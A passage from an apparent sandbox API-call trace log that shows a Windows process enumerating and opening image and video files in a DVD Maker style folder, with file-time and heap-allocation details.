ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0069.344] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0069.344] GetLastError () returned 0x12 [0069.344] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0069.345] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0069.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.345] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.345] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0069.346] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa1bbb8 [0069.346] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa1bbb8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa1bbb8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1bbb8) returned 1 [0069.346] NtClose (Handle=0x124) returned 0x0 [0069.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.346] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a7e8 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa19098 [0069.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a808 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa191a0 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a828 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa192a8 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a848 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa193b0 [0069.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a868 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa194b8 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a888 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa195c0 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a8a8 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa196c8 [0069.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.358] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a8c8 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa197d0 [0069.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.358] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a8e8 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xec0) returned 0x9fa458 [0069.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1ad30) returned 1 [0069.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0069.359] GetLastError () returned 0x12 [0069.359] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.359] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, 